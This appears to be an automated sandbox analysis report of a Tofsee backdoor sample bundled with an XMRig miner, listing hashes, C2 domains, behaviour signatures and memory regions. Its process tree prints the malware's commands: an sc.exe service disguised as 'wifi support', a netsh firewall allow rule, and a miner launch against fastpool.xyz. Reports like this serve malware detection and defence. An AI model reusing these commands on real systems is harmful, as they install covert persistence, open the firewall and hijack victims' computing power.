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Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    27/03/2023, 05:18

General

  • Target

    file.exe

  • Size

    260KB

  • MD5

    2217a7dc1aa0b5ef18f73aeb4f996d2c

  • SHA1

    2a427ee930b5c575d1ba27eced532570260d515e

  • SHA256

    159ac8af8578d932513d407cfec08d07cc9ea3ff48797cfa96b7c9d45c530554

  • SHA512

    815a66ea25678898be26fe12573c490cb15d4ce3f633ca865d30692425862251a98291a0b705eb148b8017fe139def2620103786997aa836ef281bfd1ea5a8d9

  • SSDEEP

    3072:249jhOaFQDZL6Vh5Fe1uwXbylxgCt9IXiDusLjM1uKNcL+uqHs5xbtufPWQ:1CDZL85KuwGlqCt91D/A1Jm+g1

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1368
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\glqvcttt\
      2⤵
        PID:884
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rpzacybh.exe" C:\Windows\SysWOW64\glqvcttt\
        2⤵
          PID:668
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create glqvcttt binPath= "C:\Windows\SysWOW64\glqvcttt\rpzacybh.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1704
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description glqvcttt "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1052
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start glqvcttt
          2⤵
          • Launches sc.exe
          PID:692
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:864
      • C:\Windows\SysWOW64\glqvcttt\rpzacybh.exe
        C:\Windows\SysWOW64\glqvcttt\rpzacybh.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:656
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1184
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:520

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\rpzacybh.exe

        Filesize

        14.9MB

        MD5

        453df943bfa9964da3467131e2fb7eb6

        SHA1

        286a5f74358063eda0adfd4c5f7f41981835e8b3

        SHA256

        82ccd328e1e1e483cc6826b5675597488f12b0578eac8b61f8093607ea9a1a75

        SHA512

        23b25cb7e2e67780e47602a4f8a1bdce81537831c3948dcfe730e8fff0d29ccabdfbde9e6d08414b779c588911a5e1024937fce37cacbb196434c2cd4e4c00f2

      • C:\Windows\SysWOW64\glqvcttt\rpzacybh.exe

        Filesize

        14.9MB

        MD5

        453df943bfa9964da3467131e2fb7eb6

        SHA1

        286a5f74358063eda0adfd4c5f7f41981835e8b3

        SHA256

        82ccd328e1e1e483cc6826b5675597488f12b0578eac8b61f8093607ea9a1a75

        SHA512

        23b25cb7e2e67780e47602a4f8a1bdce81537831c3948dcfe730e8fff0d29ccabdfbde9e6d08414b779c588911a5e1024937fce37cacbb196434c2cd4e4c00f2

      • memory/520-111-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/520-123-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/520-124-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/520-121-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/520-122-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/520-120-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/520-119-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/520-112-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/656-65-0x0000000000400000-0x0000000000704000-memory.dmp

        Filesize

        3.0MB

      • memory/1184-88-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1184-94-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1184-75-0x0000000000150000-0x0000000000156000-memory.dmp

        Filesize

        24KB

      • memory/1184-78-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1184-81-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1184-82-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1184-83-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1184-84-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1184-85-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1184-87-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1184-86-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1184-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1184-89-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1184-90-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1184-91-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1184-92-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1184-93-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1184-74-0x0000000001990000-0x0000000001B9F000-memory.dmp

        Filesize

        2.1MB

      • memory/1184-95-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1184-96-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1184-97-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1184-98-0x0000000000210000-0x0000000000215000-memory.dmp

        Filesize

        20KB

      • memory/1184-101-0x0000000000210000-0x0000000000215000-memory.dmp

        Filesize

        20KB

      • memory/1184-102-0x00000000058E0000-0x0000000005CEB000-memory.dmp

        Filesize

        4.0MB

      • memory/1184-105-0x00000000058E0000-0x0000000005CEB000-memory.dmp

        Filesize

        4.0MB

      • memory/1184-106-0x0000000000260000-0x0000000000267000-memory.dmp

        Filesize

        28KB

      • memory/1184-110-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1184-71-0x0000000001990000-0x0000000001B9F000-memory.dmp

        Filesize

        2.1MB

      • memory/1184-69-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1184-68-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1184-67-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1184-63-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1184-60-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1368-61-0x0000000000400000-0x0000000000704000-memory.dmp

        Filesize

        3.0MB

      • memory/1368-56-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB